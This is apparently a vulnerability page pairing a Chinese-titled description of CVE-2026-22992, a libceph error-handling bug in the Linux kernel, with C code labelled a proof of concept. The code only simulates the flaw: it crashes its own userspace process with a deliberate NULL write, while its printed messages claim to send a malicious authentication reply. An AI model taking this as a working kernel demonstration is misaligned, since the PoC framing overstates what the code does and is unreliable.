CVE-2026-22992: Linux kernel libceph mon_handle_auth_done 空指针解引用漏洞

// CVE-2026-22992 PoC - Linux kernel libceph authentication bypass leading to NULL pointer dereference // This PoC demonstrates the vulnerability in mon_handle_auth_done() error handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netinet/in.h> // Simulated ceph authentication message structure struct ceph_auth_reply { int protocol; int result; char* payload; int payload_size; }; // Vulnerable function - mon_handle_auth_done() does not return error from ceph_auth_handle_reply_done() int ceph_auth_handle_reply_done(int result) { // Simulating the authentication reply handling that returns error printf("[DEBUG] Processing auth reply, result: %d\n", result); if (result < 0) { printf("[VULN] Authentication error detected but not propagated!\n"); // BUG: Error is not returned, leading to NULL pointer dereference later return 0; // Should return result instead } return 0; } void finish_auth(int error) { printf("[DEBUG] finish_auth called with error: %d\n", error); } // Vulnerable mon_handle_auth_done implementation int mon_handle_auth_done(struct ceph_auth_reply* reply) { int ret; printf("[DEBUG] Entering mon_handle_auth_done()\n"); // Call to ceph_auth_handle_reply_done - error is not returned ret = ceph_auth_handle_reply_done(reply->result); // BUG: The error from ceph_auth_handle_reply_done is not propagated // This causes msgr2 to proceed with session establishment despite auth failure // Simulating msgr2 proceeding with session in background printf("[VULN] msgr2 attempting to establish session despite auth error!\n"); // In secure mode, this triggers WARN in setup_crypto() // followed by NULL pointer dereference in prepare_auth_signature() printf("[VULN] Triggering NULL pointer dereference in prepare_auth_signature()...\n"); // Simulate NULL pointer dereference int* ptr = NULL; *ptr = 0x1337; // Crash here - NULL pointer dereference return 0; } int main(int argc, char* argv[]) { printf("=== CVE-2026-22992 PoC ===\n"); printf("Linux kernel libceph mon_handle_auth_done() error handling vulnerability\n\n"); // Craft malicious authentication reply struct ceph_auth_reply reply; reply.protocol = 2; // MSGR2 protocol reply.result = -1; // Authentication failure reply.payload = NULL; reply.payload_size = 0; printf("[*] Sending malicious auth reply with result=%d\n", reply.result); printf("[*] This should trigger authentication error handling...\n\n"); // Trigger the vulnerable code path mon_handle_auth_done(&reply); return 0; }